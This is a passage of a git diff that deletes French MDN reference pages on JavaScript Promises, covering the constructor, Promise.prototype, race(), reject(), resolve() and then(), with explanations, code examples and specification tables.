Une fonction à laquelle on passera deux arguments : resolve et reject. Cette fonction est exécutée immédiatement par l'implémentation de Promise qui fournit les fonctions resolve et reject (elle est exécutée avant que le constructeur Promise ait renvoyé l'objet créé). Les fonctions resolve et reject, lorsqu'elles sont appelées, permettent respectivement de tenir ou de rompre la promesse. On attend de l'exécuteur qu'il démarre un travail asynchrone puis, une fois le travail terminé, appelle la fonction resolve (si tout s'est bien passé) ou la fonction reject (lorsqu'il y a eu un problème) pour définir l'état final de la promesse.
- Si une erreur est générée par l'exécuteur, la promesse est rompue et la valeur de retour de l'exécuteur est ignorée.
-
- -

Description

- -

L'interface Promise représente un intermédiaire (proxy) vers une valeur qui n'est pas nécessairement connue au moment de sa création. Cela permet d'associer des gestionnaires au succès éventuel d'une action asynchrone et à la raison d'une erreur. Ainsi, des méthodes asynchrones renvoient des valeurs comme les méthodes synchrones, la seule différence est que la valeur retournée par la méthode asynchrone est une promesse (d'avoir une valeur plus tard).

- -

Une Promise est dans un de ces états :

- -
    -
  • pending (en attente) : état initial, la promesse n'est ni remplie, ni rompue ;
    • -
  • fulfilled (tenue) : l'opération a réussi ;
    • -
  • rejected (rompue) : l'opération a échoué ;
    • -
  • settled (acquittée) : la promesse est tenue ou rompue mais elle n'est plus en attente.
    • -
- -

Une promesse en attente peut être tenue avec une valeur ou rompue avec une raison (erreur). Quand on arrive à l'une des deux situations, les gestionnaires associés lors de l'appel de la méthode then sont alors appelés. (Si la promesse a déjà été tenue ou rompue lorsque le gestionnaire est attaché à la promesse, le gestionnaire est appelé. Cela permet qu'il n'y ait pas de situation de compétition entre une opération asynchrone en cours et les gestionnaires ajoutés).

- -

Les méthodes {{jsxref("Promise.then","Promise.prototype.then()")}} et {{jsxref("Promise.catch","Promise.prototype.catch()")}} renvoient des promesses et peuvent ainsi être chaînées. C'est ce qu'on appelle une composition.

- -

- -
-

Note: Une promesse est dans l'état settled (acquittée) qu'elle soit tenue ou rompue mais plus en attente. Le terme resolved (résolue) est aussi utilisé concernant les promesses — cela signifie que la promesse est acquittée ou bien enfermée dans une chaine de promesse. Le billet de Domenic Denicola, States and fates (en anglais), contient de plus amples détails sur la terminologie utilisée.

-
- -
-

Attention : D'autres langages utilisent des mécanismes d'évaluation à la volée (lazy evaluation) et de déport des calculs (deferring computations). Ces mécanismes sont également intitulés promesses (promises). En JavaScript, les promesses correspondent à des processus déjà lancés et qui peuvent être chaînés avec des fonctions de retour. Si vous cherchez à retarder l'évaluation, vous pouvez utiliser les fonctions fléchées sans arguments (ex. f = () => expression) afin de créer une expression à évaluer plus tard et utiliser f() pour l'évaluer au moment voulu.

-
- -

Propriétés

- -
-
Promise.length
-
Une propriété de longueur qui vaut 1 (le nombre d'arguments pour le constructeur).
-
{{jsxref("Promise.prototype")}}
-
Cette propriété représente le prototype du constructeur Promise.
-
- -

Méthodes

- -
-
{{jsxref("Promise.all", "Promise.all(iterable)")}}
-
Renvoie une promesse tenue lorsque toutes les promesses de l'argument itérable sont tenues ou une promesse rompue dès qu'une promesse de l'argument itérable est rompue. Si la promesse est tenue, elle est résolue avec un tableau contenant les valeurs de résolution des différentes promesses contenues dans l'itérable (dans le même ordre que celui-ci). Si la promesse est rompue, elle contient la raison de la rupture de la part de la promesse en cause, contenue dans l'itérable. Cette méthode est utile pour agréger les résultats de plusieurs promesses tous ensemble.
-
{{jsxref("Promise.allSettled", "Promise.allSettled(iterable)")}}
-
Attend que l'ensemble des promesses aient été acquittées (tenues ou rompues) et renvoie une promesse qui est résolue après que chaque promesse ait été tenue ou rompue. La valeur de résolution de la promesse renvoyée est un tableau dont chaque élément est le résultat des promesses initiales.
-
{{jsxref("Promise.race", "Promise.race(iterable)")}}
-
Renvoie une promesse qui est tenue ou rompue dès que l'une des promesses de l'itérable est tenue ou rompue avec la valeur ou la raison correspondante.
-
- -
-
{{jsxref("Promise.reject", "Promise.reject(raison)")}}
-
Renvoie un objet Promise qui est rompue avec la raison donnée.
-
- -
-
{{jsxref("Promise.resolve", "Promise.resolve(valeur)")}}
-
Renvoie un objet Promise qui est tenue (résolue) avec la valeur donnée. Si la valeur possède une méthode then, la promesse renvoyée « suivra » cette méthode pour arriver dans son état, sinon la promesse renvoyée sera tenue avec la valeur fournie. Généralement, quand on veut savoir si une valeur est une promesse, on utilisera {{jsxref("Promise.resolve","Promise.resolve(valeur)")}} et on travaillera avec la valeur de retour en tant que promesse.
-
- -

Prototype pour Promise

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/prototype','Propriétés')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/prototype','Méthodes')}}

- -

Exemples

- -

Créer une promesse

- -

Pour créer une promesse, on utilise l'opérateur new et le constructeur. Celui-ci prend en argument une fonction qui prend deux fonctions en paramètres. La première est appelée quand la tâche asynchrone est correctement terminée et la seconde est appelée quand la tâche échoue :

- -
const maPremierePromesse = new Promise((resolve, reject) => {
-  // réaliser une tâche asynchrone et appeler :
-
-  // resolve(uneValeur); // si la promesse est tenue
-  // ou
-  // reject("raison d'echec"); // si elle est rompue
-});
-
- -

On peut ainsi obtenir des fonctions asynchrones en renvoyant une promesse :

- -
function maFonctionAsynchrone(url) {
-  return new Promise((resolve, reject) => {
-    const xhr = new XMLHttpRequest();
-    xhr.open("GET", url);
-    xhr.onload = () => resolve(xhr.responseText);
-    xhr.onerror = () => reject(xhr.statusText);
-    xhr.send();
-  });
-}
- -

Exemple interactif

- - - -

Dans le court exemple qui suit, on illustre le mécanisme d'une Promise. La méthode testPromise() est appelée chaque fois qu'on clique sur l'élément {{HTMLElement("button")}}. Cette méthode crée une promesse qui sera tenue grâce à la fonction {{domxref("window.setTimeout()")}}, et avec la valeur comptePromesse (nombre commançant à 1) après 1s à 3s (aléatoire). Le constructeur Promise() est utilisé pour créer la promesse.

- -

Le fait que la promesse soit tenue est simplement enregistré via un callback sur p1.then(). Quelques indicateurs illustrent la manière dont la partie synchrone est découplée de la partie asynchrone.

- -
'use strict';
-var comptePromesse = 0;
-
-function testPromise() {
-  var thisComptePromesse = ++comptePromesse;
-
-  var log = document.getElementById('log');
-  log.insertAdjacentHTML('beforeend', thisComptePromesse +
-      ') Started (<small>Début du code synchrone</small>)<br/>');
-
-  // on crée une nouvelle promesse :
-  var p1 = new Promise(
-    // La fonction de résolution est appelée avec la capacité de
-    // tenir ou de rompre la promesse
-    function(resolve, reject) {
-      log.insertAdjacentHTML('beforeend', thisComptePromesse +
-          ') Promise started (<small>Début du code asynchrone</small>)<br/>');
-
-      // Voici un exemple simple pour créer un code asynchrone
-      window.setTimeout(
-        function() {
-          // On tient la promesse !
-          resolve(thisComptePromesse);
-        }, Math.random() * 2000 + 1000);
-    });
-
-  // On définit ce qui se passe quand la promesse est tenue
-  // et ce qu'on appelle (uniquement) dans ce cas
-  // La méthode catch() définit le traitement à effectuer
-  // quand la promesse est rompue.
-  p1.then(
-    // On affiche un message avec la valeur
-    function(val) {
-      log.insertAdjacentHTML('beforeend', val +
-          ') Promise fulfilled (<small>Fin du code asynchrone</small>)<br/>');
-    }).catch(
-      // Promesse rejetée
-      function() {
-        console.log("promesse rompue");
-      });
-
-  log.insertAdjacentHTML('beforeend', thisComptePromesse +
-      ') Promise made (<small>Fin du code synchrone</small>)<br/>');
-}
-
- - - -

L'exemple s'exécute lorsqu'on clique sur le bouton. Pour tester cet exemple, il est nécessaire d'utiliser un navigateur qui supporte les objets Promise. En cliquant plusieurs fois sur le bouton en peu de temps, on verra qu'il y a plusieurs promesses tenues les une après les autres.

- -

{{EmbedLiveSample('Exemple_interactif', '500', '200')}}

- -

Charger une image en XHR

- -

Un autre exemple simple utilisant Promise et {{domxref("XMLHttpRequest")}} afin de charger une image est disponible sur le dépôt GitHub MDN js-examples. Vous pouvez également voir le résultat. Chaque étape est commentée afin de vous permettre de suivre l'état de la promesse et l'architecture utilisée avec XHR.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/prototype/index.html deleted file mode 100644 index 9a6146375f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/prototype/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Promise.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Promise/prototype -tags: - - JavaScript - - Promise - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise -translation_of_original: Web/JavaScript/Reference/Global_Objects/Promise/prototype ---- -
{{JSRef}}
- -

La propriété Promise.prototype représente le prototype pour le constructeur {{jsxref("Promise")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de {{jsxref("Promise")}} héritent de {{jsxref("Promise.prototype")}}. On peut utiliser le prototype du constructeur afin d'ajouter des propriétés et/ou des méthodes à chacune des instances de Promise.

- -

Propriétés

- -
-
Promise.prototype.constructor
-
Renvoie la fonction qui a créé le prototype d'une instance. Ce sera la fonction {{jsxref("Promise")}} par défaut.
-
- -

Méthodes

- -
-
{{jsxref("Promise.prototype.catch()")}}
-
Ajoute une fonction callback à utiliser en cas de rejet de la promesse. Elle renvoie une nouvelle promesse qui est résolue avec la valeur de retour du callback s'il est appelé ou avec la valeur de résolution initiale si la promesse est tenue (et non rejetée).
-
{{jsxref("Promise.prototype.then()")}}
-
Ajoute des fonctions à utiliser en cas de résolution ou de rejet de la promesse et renvoie une nouvelle promesse qui est résolue avec la valeur de retour de la fonction utilisée en fonction de la résolution ou non.
-
{{jsxref("Promise.prototype.finally()")}}
-
Ajoute une fonction à la promesse et renvoie une nouvelle promesse qui est résolue lorsque la promesse originale est résolue. La fonction ajoutée est appelée lorsque la promesse est résolue, qu'elle soit tenue ou rejetée.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/race/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/race/index.html deleted file mode 100644 index afb407d7db..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/race/index.html +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: Promise.race() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/race -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Promise - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race ---- -
{{JSRef}}
- -

La méthode Promise.race() renvoie une promesse qui est résolue ou rejetée dès qu'une des promesses de l'itérable passé en argument est résolue ou rejetée. La valeur (dans le cas de la résolution) ou la raison (dans le cas d'un échec) utilisée est celle de la promesse de l'itérable qui est resolue/qui échoue.

- -
{{EmbedInteractiveExample("pages/js/promise-race.html")}}
- - - -

Syntaxe

- -
Promise.race(itérable);
- -

Paramètres

- -
-
itérable
-
Un objet itérable, par exemple un {{jsxref("Array")}}. Voir la page itérable.
-
- -

Valeur de retour

- -

Une promesse ({{jsxref("Promise")}}) à résoudre qui est résolue de façon asynchrone dès que l'une des promesses de l'itérable est tenue ou rompue.

- -

Description

- -

La fonction race renvoie une Promise qui est résolue/rejetée de la même façon que la première promesse de l'itérable à être résolue/rejetée.

- -

Si l'itérable passé en argument est vide, la promesse sera continuellement en attente.

- -

Si l'itérable contient une ou plusieurs valeurs qui ne sont pas des promesses ou une promesse déjà résolue, Promise.race fournira une promesse résolue avec la première de ces valeurs trouvées dans l'itérable.

- -

Exemples

- -

Caractère asynchrone de Promise.race()

- -

L'exemple qui suit illuste le caractère asynchrone de Promise.race:

- -
// On passe un tableau de promesses déjà résolues
-// en argument afin de déclencher Promise.race
-// dès que possible
-var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
-
-var p = Promise.race(resolvedPromisesArray);
-// On affiche immédiatement la valeur p dans la console
-console.log(p);
-
-// Avec setTimeout on peut exécuter du code
-// une fois que la pile est vide
-setTimeout(function(){
-    console.log('La pile est désormais vide');
-    console.log(p);
-});
-
-// affichera, dans cet ordre :
-// Promise { <state>: "pending" }
-// La pile est désormais vide
-// Promise { <state>: "fulfilled", <value>: 33 }
- -

Un itérable vide renverra une promesse qui restera en attente :

- -
var foreverPendingPromise = Promise.race([]);
-console.log(foreverPendingPromise);
-setTimeout(function(){
-    console.log('La pile est désormais vide');
-    console.log(foreverPendingPromise);
-});
-
-// affichera, dans cet ordre :
-// Promise { <state>: "pending" }
-// La pile est désormais vide
-// Promise { <state>: "pending" }
-
- -

Si l'itérable contient une ou plusieurs valeurs qui ne sont pas des promesses ou des promesses déjà résolues, Promise.race considèrera la première valeur ainsi trouvée dans l'itérable :

- -
var foreverPendingPromise = Promise.race([]);
-var alreadyResolvedProm = Promise.resolve(666);
-
-var arr = [foreverPendingPromise, alreadyResolvedProm, "non-Promise value"];
-var arr2 = [foreverPendingPromise, "non-Promise value", Promise.resolve(666)];
-var p = Promise.race(arr);
-var p2 = Promise.race(arr2);
-
-console.log(p);
-console.log(p2);
-setTimeout(function(){
-    console.log('the stack is now empty');
-    console.log(p);
-    console.log(p2);
-});
-
-// affichera dans l'ordre :
-// Promise { <state>: "pending" }
-// Promise { <state>: "pending" }
-// the stack is now empty
-// Promise { <state>: "fulfilled", <value>: 666 }
-// Promise { <state>: "fulfilled", <value>: "non-Promise value" }
-
- -

Utilisation de Promise.race – exemples avec setTimeout

- -
var p1 = new Promise(function(resolve, reject) {
-    setTimeout(resolve, 500, "un");
-});
-var p2 = new Promise(function(resolve, reject) {
-    setTimeout(resolve, 100, "deux");
-});
-
-Promise.race([p1, p2]).then(function(value) {
-  console.log(value); // "deux"
-  // Les deux promesses sont résolues mais p2 est plus rapide
-});
-
-var p3 = new Promise(function(resolve, reject) {
-    setTimeout(resolve, 100, "trois");
-});
-var p4 = new Promise(function(resolve, reject) {
-    setTimeout(reject, 500, "quatre");
-});
-
-Promise.race([p3, p4]).then(function(value) {
-  console.log(value); // "trois"
-  // p3 est plus rapide et entraîne la résolution de la promesse de compétition
-}, function(reason) {
-  // N'est pas appelée
-});
-
-var p5 = new Promise(function(resolve, reject) {
-    setTimeout(resolve, 500, "cinq");
-});
-var p6 = new Promise(function(resolve, reject) {
-    setTimeout(reject, 100, "six");
-});
-
-Promise.race([p5, p6]).then(function(value) {
-  // N'est pas appelée
-}, function(reason) {
-  console.log(reason); // "six"
-  // p6 est plus rapide et rejète la promesse de compétition
-});
-
- -
-

Note : voir la documentation sur setTimeout.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.race', 'Promise.race')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.race")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
  • {{jsxref("Promise.all()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/reject/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/reject/index.html deleted file mode 100644 index d792a2eaa4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/reject/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Promise.reject() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/reject -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Promise - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject ---- -
{{JSRef}}
- -

La méthode Promise.reject(raison) renvoie un objet Promise qui est rejeté (la promesse n'est pas tenue) à cause d'une raison donnée.

- -
{{EmbedInteractiveExample("pages/js/promise-reject.html")}}
- - - -

Syntaxe

- -
Promise.reject(raison);
- -

Paramètres

- -
-
raison
-
La raison pour laquelle la Promise n'a pas été tenue.
-
- -

Valeur de retour

- -

Une promesse ({{jsxref("Promise")}}) qui est rompue avec la raison passée en argument.

- -

Description

- -

La fonction statique Promise.reject renvoie une Promise qui est rejetée. Pour faciliter le débogage (comprendre plus rapidement le problème et sélectionner une erreur précise), il peut être utile que l'argument raison soit une instance d'{{jsxref("Error")}}.

- -

Exemples

- -
Promise.reject(new Error("échec")).then(function() {
-  // n'est pas appelée
-}, function(erreur) {
-  console.log(erreur); // Analyse de la pile d'appels
-});
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.reject")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/resolve/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/resolve/index.html deleted file mode 100644 index abda218c20..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/resolve/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Promise.resolve() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/resolve -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Promise - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve ---- -
{{JSRef}}
- -

La méthode Promise.resolve(valeur) renvoie un objet {{jsxref("Promise")}} qui est résolu avec la valeur donnée. Si cette valeur est une promesse, la promesse est renvoyée, si la valeur possède une méthode {{jsxref("Promise.then","then")}}, la promesse renvoyée « suivra » cette méthode et prendra son état ; sinon, la promesse renvoyée sera tenue avec la valeur.

- -
{{EmbedInteractiveExample("pages/js/promise-resolve.html")}}
- - - -
-

Attention ! Promise.resolve() ne doit pas être appelée sur un objet thenable qui se résout en lui-même. Cela provoquera une récursion infinie et resolve() tentera d'aplatir ce qui ressemble à une promesse imbriquée à l'infini.

-
- -

Syntaxe

- -
Promise.resolve(valeur);
-Promise.resolve(promesse);
-Promise.resolve(suivant);
-
- -

Paramètres

- -
-
valeur
-
L'argument qu'on souhaite résoudre avec cette promesse (Promise). Cet argument peut être un objet Promise ou un objet avec une méthode then à résoudre à la suite.
-
- -

Valeur de retour

- -

Une promesse ({{jsxref("Promise")}}) qui est résolue avec la valeur indiquée en argument ou la promesse passée en argument si celui-ci est une promesse.

- -

Description

- -

La fonction statique Promise.resolve renvoie un objet Promise qui est résolu.

- -

Exemples

- -

Utilisation de la méthode statique Promise.resolve

- -
Promise.resolve("Succès").then(function(valeur) {
-  console.log(valeur); // "Succès"
-}, function(valeur) {
-  // n'est pas appelée
-});
-
- -

Résoudre un tableau

- -
var p = Promise.resolve([1,2,3]);
-p.then(function(v) {
-  console.log(v[0]); // 1
-});
-
- -

Résoudre une autre Promise

- -
var original = Promise.resolve(33);
-var cast = Promise.resolve(original);
-cast.then(function(value) {
-  console.log("value: " + value);
-});
-console.log("original === cast ? " + (original === cast));
-
-// affiche ceci dans la console (dans cet ordre) :
-// original === cast ? true
-// value: 33
-
- -

L'ordre des traces dans la console est dû au fait que les gestionnaires then() sont appelés de façon asynchrone (plus de détails sur then dans cet article).

- -

Résoudre des objets avec then et renvoyer des erreurs

- -
// Résoudre un objet avec then
-var p1 = Promise.resolve({
-  then: function(onFulfill, onReject) { onFulfill("tenue !"); }
-});
-console.log(p1 instanceof Promise) // true, l'objet est transformée en une Promise
-
-p1.then(function(v) {
-    console.log(v); // "tenue !"
-  }, function(e) {
-    // n'est pas appelée
-});
-
-// L'objet avec then renvoie une erreur avant le callback
-// La promesse n'est pas tenue
-var thenable = { then: function(resolve) {
-  throw new TypeError("Renvoi d'erreur");
-  resolve("Résolution ");
-}};
-
-var p2 = Promise.resolve(thenable);
-p2.then(function(v) {
-  // n'est pas appelée
-}, function(e) {
-  console.log(e); // TypeError : Renvoi d'erreur
-});
-
-// L'objet avec then renvoie une erreur après le callback
-// La promesse est tenue
-var thenable = { then: function(resolve) {
-  resolve("Résolue");
-  throw new TypeError("Erreur");
-}};
-
-var p3 = Promise.resolve(thenable);
-p3.then(function(v) {
-  console.log(v); // "Résolue"
-}, function(e) {
-  // n'est pas appelée
-});
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.resolve")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/then/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/then/index.html deleted file mode 100644 index b077425e5a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/then/index.html +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: Promise.prototype.then() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/then -tags: - - ECMAScript6 - - JavaScript - - Méthode - - Promise - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then ---- -
{{JSRef}}
- -

La méthode then() renvoie un objet {{jsxref("Promise")}}. Elle peut prendre jusqu'à deux arguments qui sont deux fonctions callback à utiliser en cas de complétion ou d'échec de la Promise.

- -
{{EmbedInteractiveExample("pages/js/promise-then.html")}}
- - - -
-

Note : Si aucun des deux arguments n'est utilisé ou que les objets fournis ne sont pas des fonctions, une nouvelle promesse est créée sans autre gestionnaire supplémentaire. Si le premier argument est absent ou qu'un objet qui n'est pas une fonction est passé, la nouvelle promesse utilisera la fonction de réussite de la promesse originelle. De même, si le deuxième argument n'est pas passé ou que ce n'est pas une fonction, la nouvelle promesse créée utilisera la fonction de rejet de la promesse appelante.

-
- -

Syntaxe

- -
p.then(siTenue);
-p.then(siTenue, siRejetée);
-
-p.then((valeur) => {
-    // Promesse tenue
-  }, (raison) => {
-    // Rejet de la promesse
-});
-
- -

Paramètres

- -
    -
- -
-
siTenue
-
Une {{jsxref("Function","fonction","",1)}} appelée lorsque la Promise est tenue. Cette fonction a un seul argument, la valeur qui a permis de résoudre la promesse. Si siTenue n'est pas une fonction, elle est implicitement remplacée par une fonction « identité » qui renvoie l'argument tel quel.
-
siRejetée {{optional_inline}}
-
Une {{jsxref("Function","fonction","",1)}} appelée lorsque la Promise est rejetée. Cette fonction a un seul argument, la raison pour laquelle la promesse a été rejetée. Si siRejetée n'est pas une fonction, elle est implicitement remplacée par une fonction qui lève une erreur avec la raison passée en argument.
-
- -

Valeur de retour

- -

La méthode then() renvoie une promesse ({{jsxref("Promise")}}) en attente de résolution et dont la valeur est déterminée selon les deux fonctions passées en arguments et qui seront appelées de façon asynchrone :

- -
    -
  • Si siRejetée ou siTenue lève une exception ou renvoie une promesse rompue, la promesse renvoyée par then() est rompue et la valeur fournie est l'exception ou l'explication de la promesse rompue.
    • -
  • Si siRejetée ou siTenue renvoie une promesse tenue ou n'importe quelle autre valeur, la promesse renvoyée est tenue et la valeur de résolution est la même que celle de la promesse tenue.
    • -
  • Si siRejetée ou siTenue renvoie une promesse en attente de résolution, la promesse renvoyée par then() sera résolue de la même façon que la promesse renvoyée par le gestionnaire. En fait, dans ce cas, la promesse renvoyée par then() est la même que la promesse renvoyée par le gestionnaire (siTenue ou siRejetée).
    • -
- -

Description

- -

Comme les méthodes then() et {{jsxref("Promise.prototype.catch()")}} renvoient des promesses, on peut enchaîner ces opérations (c'est ce qu'on appelle la composition de promesses, voir l'exemple ci-après).

- -

Exemples

- -

Utilisation de la méthode then()

- -
var p1 = new Promise(function(resolve, reject) {
-  resolve("Succès !");
-  // ou
-  // reject("Erreur !");
-});
-
-p1.then((valeur) => {
-  console.log(valeur); // Succès !
-  }, (raison) => {
-  console.log(raison); // Erreur !
-});
-
- -

Composition - Chaînage

- -

La méthode then() renvoie un objet Promise, ce qui permet d'enchaîner les opération. On peut passer une fonction lambda à then puis utiliser la promesse obtenue pour la passer à la méthode suivante. Dans l'exemple ci-après, on simule un code asynchrone avec la fonction setTimeout.

- -
Promise.resolve("toto")
-  // 1. Première étape, on reçoit "toto" et on le concatène avec
-  //    "truc", ce qui résoud la première étape puis on passe au
-  //    deuxième then
-  .then(function(string) {
-    return new Promise(function(resolve, reject) {
-      setTimeout(function() {
-        string += 'truc';
-        resolve(string);
-      }, 1);
-    });
-  })
-  // 2. Deuxième étape, on reçoit "tototruc" et on enregistre une
-  //    fonction de rappel pour manipuler cette chaîne puis l'imprimer
-  //    dans la console. Avant cela, on passe la chaîne intacte au
-  //    prochain then
-  .then(function(string) {
-    setTimeout(function() {
-      string += 'baz';
-      console.log(string);
-    }, 1)
-    return string;
-  })
-  // 3. On affiche un message sur le code, celui-ci sera affiché
-  //    avant que la chaîne soit traitée dans le bloc précédent
-  //    qui agit comme un bloc asynchrone.
-  .then(function(string) {
-    console.log("Et voilà la dernière, qui risque d'arriver avant la 2e");
-
-    // Ici, la chaîne n'aura pas le morceau 'baz' car la fonction
-    // setTimeout retarde l'exécution du code.
-    console.log(string);
-});
-
- -

Lorsqu'une valeur est simplement renvoyée depuis une fonction lambda then, celle-ci renverra Promise.resolve(<la valeur renvoyée par le gestionnaire appelé>).

- -
var p2 = new Promise(function(resolve, reject) {
-  resolve(1);
-});
-
-p2.then(function(valeur) {
-  console.log(valeur); // 1
-  return valeur + 1;
-  }).then(function(valeur) {
-  console.log(valeur + "- cette utilisation synchrone est un peu inutile");
-  // 2- cette utilisation synchrone est un peu inutile
-});
-
-p2.then(function(valeur) {
-  console.log(valeur); // 1
-});
-
- -

Appeler then() renverra une promesse rompue si la fonction lève une exception ou si elle renvoie une promesse rompue.

- -
Promise.resolve()
-  .then( () => {
-    // Ici .then() lève une exception
-    throw 'Oh zut :( !';
-  })
-  .then( () => {
-    console.log( "Ceci n'est pas appelé." );
-  }, raison => {
-    console.error( 'la fonction siRompue est appelée : ' + raison );
-});
- -

Dans tous les autres cas, un promesse de résolution est renvoyée. Dans l'exemple qui suit, le premier then() renvoie 42 même si la promesse précédente a été rompue :

- -
Promise.reject()
-  .then( () => 99, () => 42 ) // la valeur 42 est renvoyée dans une promesse
-  .then( solution => console.log( 'Résolue avec ' + solution ) ); // Résolue avec 42
- -

En pratique, il est souvent préférable d'attraper les promesses rompues plutôt que d'utiliser la syntaxe de then() avec deux fonctions :

- -
Promise.resolve()
-  .then( () => {
-    // .then() renvoie une promesse rompue
-    throw 'Oh zut !';
-  })
-  .catch( raison => {
-    console.error( 'fonction siRompue appelée : ' + raison );
-  })
-  .then( () => {
-    console.log("Je suis toujours appelée, même si il y a un souci avant");
-  });
- -

Le chaînage peut également être utilisé pour implémenter une fonction utilisant une API basée sur les promesses et encapsuler une autre fonction :

- -
function fetch_current_data() {
-  // L'API fetch renvoie une promesse. Cette fonction
-  // expose une API similaire mais lorsque la promesse
-  // est tenue, on effectue plus de tâches
-  return fetch("current-data.json").then((response) => {
-    if (response.headers.get("content-type") != "application/json") {
-      throw new TypeError();
-    }
-    var j = response.json();
-    // on peut ici manipuler j si besoin
-    return j; // la valeur fournie à l'utilisateur de
-              // fetch_current_data().then()
-  });
-}
-
- -

Si le gestionnaire siTenue renvoie une promesse, la valeur de retour de then() sera alors résolue/rompue par cette promesse.

- -
function resoudrePlusTard(resolve, reject) {
-  setTimeout(function () {
-    resolve(10);
-  }, 1000);
-}
-function romprePlusTard(resolve, reject) {
-  setTimeout(function () {
-    reject(20);
-  }, 1000);
-}
-
-var p1 = Promise.resolve("toto");
-var p2 = p1.then(function() {
-  // On renvoie une nouvelle promesse
-  // qui sera résolue avec la valeur 10
-  // au bout d'une seconde
-  return new Promise(resoudrePlusTard);
-});
-p2.then(function(v) {
-  console.log("tenue", v);
-  // "tenue", 10
-}, function(e) {
-  // ceci n'est pas appelé
-  console.log("rompue", e);
-});
-
-var p3 = p1.then(function() {
-  // Ici, on renvoie une promesse
-  // qui sera rompue avec la valeur
-  // 20 au bout d'une seconde
-  return new Promise(romprePlusTard);
-});
-p3.then(function(v) {
-  // ceci n'est pas appelé
-  console.log("tenue", v);
-}, function(e) {
-  console.log("rompue", e);
-  // "rompue", 20
-});
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.prototype.then', 'Promise.prototype.then')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.prototype.then', 'Promise.prototype.then')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.then")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
  • {{jsxref("Promise.prototype.catch()")}}
    • -
